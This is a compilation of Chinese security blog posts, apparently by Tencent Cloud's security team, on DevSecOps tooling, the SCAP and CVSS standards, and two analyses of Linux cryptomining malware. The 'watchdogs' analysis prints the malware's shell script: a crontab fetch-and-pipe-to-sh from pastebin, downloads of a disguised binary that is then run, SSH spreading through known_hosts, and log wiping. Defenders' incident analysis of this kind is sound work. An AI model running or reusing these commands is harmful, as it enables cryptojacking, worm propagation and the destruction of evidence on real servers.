DAST就是动态应用测试，比如说我们常见的AWVS、APPSCAN等漏扫就是这个类型，SAST是静态应用测试，通常就是代码审计工具，而IAST则是介于两者之间的交互式应用测试工具，通常通过插桩的方式，既能像SAST定位具体问题代码位置也能像DAST能定位到具体CGI。这里需要注意的是，通常流量代理测试的方式也有人归类到IAST，但实际它不是真正意义上的IAST。

过去我们在做腾讯云研发安全的过程中，也在构建相关工具链：

或者通过另外一个视图可以看到我们过去在云相关安全工作在DevSecOps中的情况：

除了工具链，上文也提到，DevSecOps的落地中很重要的一个部分也是我们一直做的一个点就是如何在CI/CD嵌入相关安全动作。

RSAC2018出现了一个新概念“Golden Pipeline”，叫做“黄金管道”，特指一套通过稳定的、可落地的、安全的方式自动化地进行应用CI/CD的软件流水线体系，所以基于这样图将我们的工具链对应上，大概就包含这几个部分的内容。

所以总结来看，DevSecOps的落地是有几个关键点的：

我用一棵树来表示，最基础的部分是工具链的建设，然后核心的枝干，也就是落地点就是在CI/CD中进行安全动作的嵌入，而枝叶部分，一些需要重点的安全动作就包含有自动化测试、软件成分识别与检查，以及对应一些在新的技术趋势下需要特别关注的关注点就包含有容器安全、API安全、第三方组件安全。这里图中相对没有体现出来的核心点就是安全文化。

过去在几个关键点其实我们也在做一些落地，比如联合公司内代码扫描平台和其他团队共同构建的静态代码扫描：

基于公司统一源，以及与其他团队合作及自研的第三方组件安全管理方案：

与IEG安全团队共建包含现在开源协同作为公司统一容器基线安全解决方案的容器镜像扫描能力：

还有与云API、官网等团队合作的一些API安全方面的尝试：

以及未来更多展望，包含更完善的安全开发库及自动化安全规范检查，或者安全设计与需求阶段的自动化检查等。

注：文中部分图来自 https://baijiahao.baidu.com/s?id=1649919009474612596

扩展阅读

• 微软SDL https://www.microsoft.com/en-us/securityengineering/sdl/practices
• STRIDE威胁建模方法讨论 https://www.freebuf.com/articles/es/205984.html
• 威胁建模工具入门 https://docs.microsoft.com/zh-cn/azure/security/develop/threat-modeling-tool-getting-started
• S-SDLC http://www.owasp.org.cn/owasp-project/S-SDLC/
• 应用安全测试技术DAST、SAST、IAST对比分析 https://www.aqniu.com/learn/46910.html
• 从RSAC看DevSecOps的进化与落地思考 https://www.freebuf.com/articles/neopoints/228886.html

一、 背景

近日，腾讯云安全团队监测到部分云上及外部用户机器存在安全漏洞被入侵，同时植入 watchdogs 挖矿病毒，出现 crontab 任务异常、系统文件被删除、CPU 异常等情况，并且会自动感染更多机器。攻击者主要利用 Redis 未授权访问入侵服务器并通过内网扫描和 known_hosts 历史登录尝试感染更多机器。

相对比于过去发现的挖矿病毒，这次的挖矿病毒隐藏性更高，也更难被清理。

二、 脚本分析

首先，可以直接从crontab任务中看到异常的任务项：

1

*/15 * * * * (curl -fsSL hxxps://pastebin.com/raw/sByq0rym||wget -q -O- hxxps://pastebin.com/raw/sByq0rym)|sh

该crontab任务实现从hxxps://pastebin.com/raw/sByq0rym下载shell脚本并执行，shell脚本内容为:

1

(curl -fsSL hxxps://pastebin.com/raw/tqJjUD9d||wget -q -O hxxps://pastebin.com/raw/tqJjUD9d)|base64 -d|sh

该脚本实现从hxxps://pastebin.com/raw/tqJjUD9d下载文件，文件内容为经过base64编码处理;

base64解码后为shell脚本，shell脚本主要功能如下：

1. 修改环境变量，将常见的可执行文件目录添加到系统路径中，确保脚本中的shell命令正常执行；同时再次覆写crontab任务。

1
2

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

2. 清理其他恶意程序，如kworkerds、ddgs等挖矿程序；同时通过chattr -i等命令解锁和清理相关系统文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

psauxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
psauxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
psauxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
psauxf|grep-v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(psauxf|grep -v grep|grepksoftirqds|wc -l)

if [ ${p} -eq0 ];then
psauxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi

3. 根据系统信息下载对应恶意程序执行；黑客主要通过将恶意程序伪装成图片上传到hxxp://thyrsi.com图床站点，shell脚本下载hxxp://thyrsi.com/t6/672/1550667515x1822611209.jpg保存为/tmp/watchdogs文件，赋予可执行权限后执行该恶意程序；

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

if [ ! -f "/tmp/.lsdpid" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
    fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
elif[ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
    fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
fi

4. 再进一步横向扩展感染，检查本地 ssh 凭证，遍历/root/.ssh/known_hosts文件中的IP地址，利用默认公钥认证方式进行SSH连接，执行恶意命令横向扩展感染；

1
2
3

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi

5. 最后清空系统日志等文件，清理入侵痕迹。

1
2
3
4
5

echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

通过bash脚本我们可以得知关键文件为其中的watchdogs文件。

进一步通过Top命令未见异常进程，而CPU空闲率为100%，但又明显感觉到机器运行迟缓。

进一步通过vmstat进行确认，可以发现CPU使用率95%以上，由于可以推断存在隐藏进程，并且hook了相关read等方法，具体案例我们在以前的文章已经做过分析[具体可见《Linux 遭入侵，挖矿进程被隐藏案例分析》].

进一步分析watchdogs文件，可以清楚看到病毒释放了/usr/local/lib/libioset.so的动态链接库并将路径写入/etc/ld.so.preload来实现了进程的隐藏，与我们上面的推测是一致的。具体可见样本分析部分。

样本分析

watchdogs

主要功能：

1、获取当前进程id，写入/tmp/.lsdpid文件

2、拷贝/tmp/watchdogs至/usr/sbin/watchdogs目录，并将watchdogs添加至启动项及服务项

3、释放libioset.so文件至/usr/local/lib/libioset.so，并将该so文件路径写入/etc/ld.so.preload，同时删除/usr/local/lib/libioset.c文件

4、访问ident.me获取机器IP

5、设置定时任务，定时从hxxps://pastebin.com/raw/sByq0rym上获取shell执行脚本

6、写入/tmp/ksoftirqds、/tmp/config.json，执行ksoftirqds后删除

7、删除生成的相关文件

8、访问hxxps://pastebin.com/raw/C4ZhQFrH，检查更新

libioset.so

64位程序中，恶意样本会释放出libioset.c文件，采用源码编译的方式生成libioset.so文件，而32位程序则直接释放出libioset.so文件

libioset.so主要功能为Hook删除、查看等系统命令函数，过滤掉watchdogs等相关信息，导致ls、rm等命令对该恶意程序无效，该so文件导出函数如下所示

例如，readdir64函数中，加载了libc.so.6

获取原始函数地址

如果调用该函数的进程不是ksoftirqds或watchdogs，则过滤掉所有包含恶意程序相关的结果。

Unlink函数同样进行了过滤，导致无法清除恶意程序相关的LD_PRELOAD、libioset.so等

该恶意程序同样隐藏了CPU信息和网络连接信息，如下所示

当调用fopen打开/proc/stat时，返回伪造的信息

当调用fopen打开/proc/net/tcp或/proc/net/tcp6时，同样进行过滤

三、入侵流程

基于上面的脚本和ELF样本分析可以发现整体入侵和感染流程大概为：

• 通过Redis未授权访问漏洞入侵机器并修改crontab任务；或者通过遍历known_hosts中的连接历史进行横向扩展
• crontab任务执行bansh脚本，进行相关清理和下载执行恶意程序watchdogs并横向扩展
  • 覆写crontab任务
  • 清理其他恶意程序
  • 解锁删除相关系统文件
  • 下载执行watchdogs
  • 横向扫描其他机器
  • 清理相关文件和痕迹
• watchdogs执行实现写开机启动、服务项并释放动态链接库实现隐藏，同时释放执行挖矿程序
  • 获取进程ID写/tmp/.lsdpid
  • 将/tmp目录下的watchdogs复制到/usr/sbin/目录并加入开机启动项和服务项
  • 释放libioset.so并写入/etc/ld.so.preload实现进程等隐藏
  • 访问idenet.me获取机器外网IP
  • 再次覆写crontab任务
  • 释放挖矿程序ksoftirqds和配置文件config.json并执行
  • 删除相关生成的文件并检查更新

最终完成了一个漏洞利用到植入挖矿程序，同时隐藏和横向感染的过程。

而相对与过去我们分析过的隐藏进行的挖矿病毒，在该病毒释放的动态链接库中同步对unlink函数进行了过滤，过滤名称同时包含ld.so.preload和libioset.so，而同时由于删除、查看等系统命令函数也受过滤影响，就导致通过常规自动自带的方法无法直接删除libioset.so或者修改ld.so.preload接触恶意进程的隐藏，只能通过busybox来实现对这些文件的删除清理。

在我们将/usr/local/lib/libioset.so文件清理后，就可以通过top命令看到执行的挖矿进程。

通过捕获的钱包地址查看黑客收益：

该钱包总收益约为56.5门罗币，约合1.9万人民币，过去24小时内收益1.3门罗币，当前算力约为430KH/S。

四、修复建议和清理方法

修复建议

Redis未授权访问

• 为 Redis 添加密码验证（重启Redis才能生效）
• 禁止外网访问 Redis（重启Redis才能生效）
• 以低权限运行Redis服务（重启Redis才能生效）详细操作请参考：http://bbs.qcloud.com/thread-30706-1-1.html

内网感染

• 建议不要将连接机器的私钥直接放在服务器上，如有必要建议添加密码
• 建议通过有限的机器作为跳板机实现对其他内网机器的访问，避免所有机器的随意互联互通，跳板机不要部署相关可能存在风险的服务和业务；

挖矿木马清理方法

• 删除恶意动态链接库/usr/local/lib/libioset.so
• 排查清理/etc/ld.so.preload中是否加载1中的恶意动态链接库
• 清理crontab异常项，删除恶意任务(无法修改则先执行5-a)
• kill 挖矿进程
• 排查清理可能残留的恶意文件
  • chattr -i /usr/sbin/watchdogs /etc/init.d/watchdogs /var/spool/cron/root /etc/cron.d/root
  • chkconfig watchdogs off
  • rm -f /usr/sbin/watchdogs /etc/init.d/watchdogs
• 相关系统命令可能被病毒删除，可通过包管理器重新安装或者其他机器拷贝恢复
• 由于文件只读且相关命令被hook，需要安装busybox通过busybox rm命令删除
• 部分操作需要重启机器生效

五、附录

IOCs

样本

• aee3a19beb22527a1e0feac76344894c
• c79db2e3598b49157a8f91b789420fb6
• d6a146161ec201f9b3f20fbfd528f901
• 39fa886dd1af5e5360f36afa42ff7b4e

矿池地址

• xmr.f2pool.com:13531

钱包地址

• 46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny

URLs

• hxxps://pastebin.com/raw/sByq0rym
• hxxps://pastebin.com/raw/tqJjUD9d
• hxxp://thyrsi.com/t6/672/1550667515x1822611209.jpg
• hxxp://ident.me

相关链接

• https://mp.weixin.qq.com/s/1AF5cgo_hJ096LmX7ZHitA

比如以下为漏洞常见的6个要素：

我们以心脏出血漏洞为例：

这些内容都是描述心脏出血的，可以看到不同的平台有不同的编号，类别也不同，影响组件的、等级、标题都是存在差异的，那么对于安全研究人员或者漏洞管理，就不可避免的需要去识别是不是同一个漏洞，然后需要自己去判定漏洞等级和类型等，不同的人或者团队，常常就会存在如以下的矛盾点：

这缘于不同的知识面、对漏洞的认知、标准，所以才导致的这些问题。那么有没有一个统一的标准来处理这个问题？有，SCAP！

SCAP

今天主要介绍SCAP1.0版本。

SCAP包含了Protocol(协议)与Content(内容)，协议是指SCAP由一系列现有的公开标准构成，这些公开标准被称为SCAP Element(SCAP元素)，Protocol规范了这些Element之间如何协同工作。Content指按照Protocol的约定，利用Element描述 的生成应用于实际检查工作的数据。

SCAP六大元素：

这其中可能大家对CVE、CVSS相对会比较熟悉，接下来就一一讲解下：

CVE

CVE相对好理解，通俗的讲就对漏洞的统一收录和编号，当然，这里是针对通用组件漏洞的，这也就是大家经常会看到会有安全人员在自己的简历写自己活得了多少个CVE编号，那意味着对应编号的通用组件漏洞是当时由他发现的0DAY，是他拥有独立的0DAY发现能力的象征；当然，CVE并没有体现漏洞的影响和严重程度等情况，所以单从CVE编号看不出什么，一个很水的漏洞也是可以申请个CVE编号的。

CVSS

CVSS是个评分系统，基本的表达方式比如右侧图的那种5.0直接分数的形式，还有就是类似于

1

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/RL:O/CR:L

这种向量的表达方式，至于这里面的AV、AC等都代表什么意思，我们可以继续往下看就大概清楚了。

CVSS的评分是有三个指标组，一般我们看漏洞本身的严重程度主要就看基础指标，这个指标就更多的是从漏洞本身的一些点去计算的，而时间指标组有时也会进行考虑，比如说随着时间的变化，原来没有利用方式，后面出现了，漏洞的利用情况就完全不是一回事了，危害指数可能就应该是直线上升，比如永恒之蓝，一开始漏洞爆发，虽然伴随Exp，但只有少数人会用，但是随着网上各种利用文章、MSF的插件有了之后，瞬间满世界都是利用这个漏洞攻击的；再者环境指标，主要就是漏洞在不同环境上的影响可能会有所差别。

那刚才讲到，上面的AV那些是什么？其实就是这些指标项，具体可以见下图，在PPT里被翻译成了中文是为了方便大家理解，这里面的H、L可能就代表高、低，具体可见官网说明https://www.first.org/cvss/specification-document。

回到分数计算，要怎么计算分数呢？其实是有公式的，我们以基础指标组为例。

针对漏洞的每个指标判定是属于什么情况，比如说攻击向量，有网络、相邻网络、本地、物理，指的是发起漏洞攻击的几种方式，对应用作计算的因素分数分别是0.85、0.62、0.55、0.2，一般来说，能够直接通过网络发起攻击的漏洞是最方便利用的，所以分值也最高；其他几个指标项也是一样的。

我们以漏洞《phpMyAdmin 反射型 XSS 漏洞 (CVE-2013-1937)》为例：

然后套进公式计算：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

ISCBase = 1 - [(1−ImpactConf) × (1−ImpactInteg) × (1−ImpactAvail)] = 1 - [(1−0.22) × (1−0.22) × (1−0)] = 0.3916

ISC =
Scope Unchanged 6.42 × ISCBase
Scope Changed 7.52 × [ISCBase−0.029] − 3.25 × [ISCBase−0.02]15
=7.52 × [0.3916−0.029] − 3.25 × [0.3916−0.02]15 = 2.72675084384

Exploitability
= 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
= 8.22 × 0.85 × 0.77 × 0.85 × 0.62 = 2.8352547300000004

If (ISC <= 0) 0 else,
Scope Unchanged Round up (Minimum [(Impact + Exploitability), 10])
Scope Changed Round up (Minimum [1.08 × (Impact + Exploitability), 10])
= Round up (Minimum [1.08 × (2.72675084384 + 2.8352547300000004), 10])
= Round up (Minimum [6.006966019747201, 10])
= 6.1

最终这个漏洞的基础分数就是6.1分。

大家会不会觉得这个计算很麻烦？其实不用这么复杂，官网提供了在线计算器，直接选择然后就能自动计算出来了：

这就是CVSS了。

CPE

CPE是通用平台枚举，经常描述一个漏洞的时候需要描述漏洞影响了什么组件的什么版本，那么就可以使用CPE。

CPE有三种格式，分别是WFN、URI、FS，对应的一个格式是

1

CPE:2.3:类型:厂商:产品:版本:更新版本:发行版本:界面语言:软件发行版本:目标软件:目标硬件:其他

前面2.3指的是使用的CPE的版本，因为CPE也有多个版本，在2.2版本里是不存在sw_edition、target_sw、target_hw、other这几个字段的，具体的表示方式大家可以参考上图左侧的样例。

当然，CPE的除了可以用来描述漏洞影响的组件及对应版本情况，还有一个重要的场景就是直接用来匹配是否存在漏洞；针对某个环境进行探测组件版本，使用CPE进行描述，然后与漏洞影响的CPE版本进行匹配，就能直接描述是否该环境受这个漏洞影响；这种场景，CPE是用对应的匹配方式，具体可以参考上图；如果需要在代码中实现，也很简单，一般都有现成的模块，比如Python有现成的第三方包也叫CPE，就包含有相关匹配、格式化的方法可以很方便的使用。

CCE

再来说说CCE，其实CCE也好理解，可以理解为针对基线配置的CVE编号，CVE是针对通用组件漏洞，而CCE是针对基线配置。

比如说图中示例的：

CCE-27868-9

Definition: The maximum password age setting for Apache’s service account should be configured appropriately.
Parameter: number of days.
Technical Mechanisms: defined by Local or Group Policy

CCE-27868-9描述的是针对Apache服务的账号最大过期时间的要求，要求使用一个合适的值。

OVAL

继续说说OVAL，他是一种用来定义检查项、脆弱点等技术细节的描述语言。这么说好像不好理解，通俗的你可以理解为他就是告诉你怎么在一个对应的环境下一步步检测某个漏洞是否存在，他也是有一个库的，可以通过上图oval:org.mitre.oval:def:24241这样的编号去检索，是XML格式；我们还是以心脏出血为例：

这是其中一部分，描述了在Ubuntu12.04的版本下，如果系统中存在libssl 1.0.0这样的dpkg包，版本小于0:1.0.1-4ubuntu5.12那么就意味着存在心脏出血漏洞。

OVAL以一种统一的标准来描述某个漏洞的检测细节，而OVAL也是可以通过社区贡献的，这样的话，安全人员、安全工具其实就可以基于OVAL实现对相关漏洞的检测。

XCCDF

最后需要讲到的就是XCCDF了。

XCCDF看起来跟OVAL有点类似，但XCCDF被设计为支持信息交换、文档生成、组织化和情境化调整、自动一致性测试以及符合性评分，能够支持与多种基础配置检查技术交互。其中推荐的、默认的检查技术是MITRE公司的OVAL。在实际的SCAP应用中，XCCDF和OVAL往往是成对出现。可以理解OVAL可以作为一个XCCDF的子集。

在XCCDF文档中除了OVAL，你其实也能看到如CPE。它也是一种XML格式文件。

回过头去六个元素，借用网上的一张图来表示，其实他们之间的关系和作用大概是这样的：

SCAP工具

讲完了这些，有没有相关工具可以帮助我们使用SCAP这一套东西呢？比如说基于XCCDF进行检测输出检查结果？比较出名的比如有OpenSCAP：

这大概就是关于SCAP的一些简单介绍，更多的内容大家可以参考官网文档以及一些应用案例。

其实SCAP的主要作用还是统一标准，这样的话，不用安全研究人员、安全工具就可以直接应用这些标准进行相关的漏洞研究、学习、使用、检测等，一般来说，而不会出现因为不同理解而出现的描述和定义不同等问题。一般做的比较好的安全产品，即使有自己的一套标准，一般也会兼容部分SCAP，而其中CVE应用最为广泛。当然，如果在使用SCAP的过程中，对于标准的理解不同，还是可能导致一些差异，比如咱们计算CVSS过程中，对于漏洞不同指标项的判定，虽然官方有解释和说明，但也有可能不同人对漏洞理解不同而设定的结果不同，最终计算的值也会存在差异，这又是不可避免的了，但SCAP是尽可能的提供统一的标准。

注：SCAP 1.2版本新增

CCSS 通用配置评分系统，类似CVSS，只是CVSS是针对漏洞，与CVE关联；而CCSS是针对配置，与CCE关联
OCIL 开放检查表交互式语言，类似XCDDF

扩展阅读

漏洞命名

关于漏洞命名问题，之前也设计过一套命名规范，不属于SCAP规范的内容，整体的目的是通过漏洞命名就能大概清楚是什么样的漏洞，大家也可以参考下：

语法

漏洞库中的漏洞命名主要包含有产生漏洞的组件名称(即漏洞影响的组件):漏洞影响的版本、漏洞产生位置、漏洞类型以及可选的向量组成，命名规则如下:

1

漏洞影响组件名称+漏洞影响版本+漏洞产生位置+(向量)+漏洞类型

• 漏洞影响组件名称: 漏洞影响组件名称主要指的是产生漏洞的具体组 件的名称，组件包含比如各种 Web 应用、某个插件、某个系统、某 个通用模块等，均可称为是组件。
• 漏洞影响版本: 漏洞影响版本指的是对应该组件受到该漏洞影响的版 本号，这里的版本号可以是单个版本(如 V1.0)或者是区间 (如>V1.0&<2.0)，也可以设定是最小值(如>V1.0)或者最大值 (如<V2.0).
• 漏洞产生位置: 漏洞产生位置指的因为具体的问题导致漏洞产生，该 问题所处于的文件位置(如/admin/admin.php)或者具体通用函数 名或者类名(如_LoadBMP 函数)或者是两者的组合情况。
• 向量: 向量指 vector，可选，指的是漏洞的输入点(比如说某个 SQL 注入漏洞的向量是参数 id)
• 漏洞类型: 漏洞类型指的通用漏洞类型，即该漏洞对应的通用分类情况下的漏洞分类名称。

原则

• 通过漏洞名称即可初步的了解漏洞的基本信息
• 尽可能避免漏洞名称的重复
• 避免冗长无意义的漏洞名称

示例

• ThinkSAAS 2.0.1 thinksaas.php 本地文件包含漏洞
• ImLib BMP Image _LoadBMP 函数拒绝服务漏洞
• 用友优普 U8 系统 /Server/CmxGetLoginType.php 文件 appid 参 数 SQL 注入漏洞

漏洞评级

关于漏洞评级问题，很多人习惯性用高中低，或者1-10来描述漏洞等级，之前借鉴微软的DREAD风险模型也设计了一套，同样不属于SCAP内容，大家也可以参考下：
总的漏洞风险等级分为 1-10，10 个级别，其中 1-4 为低危，5-7 为中 危，8-10 为高危。

计算公式

1

危险=发生的概率×潜在损失

评分项定义

• 潜在损失: 如果缺陷被利用，损失由多大?
• 重现性: 重复产生攻击的难度有多大?
• 可利用性: 发起攻击的难度有多大?
• 受影响的用户: 用粗略的百分数表示，有多少用户收到影响?
• 可发现性: 缺陷容易发现吗?

高中低定义

评分示例

参考链接

• CVE：
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
• CVSS：
  • https://www.first.org/cvss/calculator/3.0
  • https://www.first.org/cvss/user-guide
  • https://www.first.org/cvss/specification-document
• CPE：
  • http://cpe.mitre.org
  • https://nvd.nist.gov/products/cpe
  • http://cpe.mitre.org/specification/CPE_2.3_for_ITSAC_Nov2011.pdf
• CCE：
  • https://cce.mitre.org
  • https://nvd.nist.gov/config/cce/index
  • https://docplayer.net/9085687-An-introduction-to-the-common-configuration-enumeration.html
• OVAL:
  • http://oval.mitre.org
  • http://oval.mitre.org/repository/?id=oval:org.mitre.oval:def:24241
  • http://www.itsecdb.com/oval/definition/oval/org.mitre.oval/def/24606/USN-2165-1----openssl-vulnerabilities.html
• XCCDF：
  • https://csrc.nist.gov/projects/security-content-automation-protocol/scap-specifications/xccdf
  • http://www.edu.cn/xxh/fei/wang_luo/an_quan_ji_shu/201303/t20130306_912136.shtml

一、 背景

云鼎实验室曾分析不少入侵挖矿案例，研究发现入侵挖矿行为都比较粗暴简单，通过 top 等命令可以直接看到恶意进程，挖矿进程不会被刻意隐藏；而现在，我们发现黑客开始不断使用一些隐藏手段去隐藏挖矿进程而使它获得更久存活，今天分析的内容是我们过去一个月内捕获的一起入侵挖矿事件。

二、 入侵分析

本次捕获案例的入侵流程与以往相比，没有特殊的地方，也是利用通用漏洞入侵服务器并获得相关权限，从而植入挖矿程序再进行隐藏。

通过对几个案例的分析，我们发现黑客主要是利用 Redis 未授权访问问题进行入侵，对于该问题的说明可以参考我们过去做的一些分析：

https://mp.weixin.qq.com/s/inazTPN5mHJYnt2QDliv8w

在服务器被入侵后，首先可以明显感觉到服务器的资源被占用而导致的操作迟缓等问题，通过一些常规手段可以发现一些异常信息，但又看不到进程信息：

通过 top 命令，可以看到显示的 CPU 使用率较低，但 ni 值为 100 ；同时通过 /proc/stat 计算 CPU 使用率又基本是 100% 。

通过 netstat 查看端口监听情况，也可以看到异常的连接。

通过在 Virustotal 查询 IP，可以看到 DNS 指向为矿池域名。

通过 find 命令查找入侵时间范围内变更的文件，对变更文件的排查，同时对相关文件进行分析，基本可以确认黑客使用的进程隐藏手法。

在变更文件里可以看到一些挖矿程序，同时 /etc/ld.so.preload 文件的变更需要引起注意，这里涉及到 Linux 动态链接库预加载机制，是一种常用的进程隐藏方法，而 top 等命令都是受这个机制影响的。

在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。
——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

通过查看文件内容，可以看到加载一个 .so 文件：/usr/local/lib/libjdk.so

而这个文件也在文件变更列表里。

我们通过查看启动的相关进程的 maps 信息，也可以看到相关预加载的内容：

通过对 libjdk.so 的逆向分析，我们可以确认其主要功能就是过滤了挖矿进程，具体可见下文分析。

在知道了黑客使用的隐藏手法后，直接编辑 /etc/ld.so.preload 文件去掉相关内容，然后再通过 top 命令即可看到挖矿进程：

通过查看 /proc/ 下进程信息可以找到位置，看到相关文件，直接进行清理即可：

继续分析变更的文件，还能看到相关文件也被变更，比如黑客通过修改/etc/rc.d/init.d/network文件来进行启动：

同时修改/etc/resolv.conf:

还修改了 HOSTS 文件，猜测是屏蔽其他挖矿程序和黑客入侵：

同时增加了防火墙规则：

查询 IP 可以看到是一个国外 IP ：

三、样本分析

通过对样本逆向分析，发现样本libjdk.so主要是 Hook 了readdir和readdir64两个函数:

对应修改后的readdir函数结构如下（readdir64 函数也是类似的）：

get_dir_name函数结构：

get_proces_name函数结构：

process_to_filter常量定义如下：

整个函数功能结合来看就是判断如果读取目录为/proc，那么遍历的过程中如果进程名为 x7，则过滤，而 x7 就是挖矿进程名。

而类似于 top、ps 等命令在显示进程列表的时候就是调用的 readdir 方法遍历 /proc 目录，于是挖矿进程 x7 就被过滤而没有出现在进程列表里。

四、附录

IOCs

样本

• 4000dc2d00cb1d74a1666a2add2d9502
• 8bd15b2d48a051d6b39d4c1ffaa25026
• e2a72c601ad1df9475e75720ed1cf6bf
• d6cee2c684ff49f7cc9d0a0162b67a8d

矿池地址

• xmr-asia1.nanopool.org:14433
• 123.56.154.87:14444

钱包地址

42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7

相关链接

• https://mp.weixin.qq.com/s/inazTPN5mHJYnt2QDliv8w
• https://cloud.tencent.com/product/hs

5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击，攻击者可以在未授权的情况下远程执行代码的安全问题进行预警，在预警的前后我们曾多次捕获相关的攻击案例，其中就包含利用该问题进行挖矿，我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、 漏洞说明

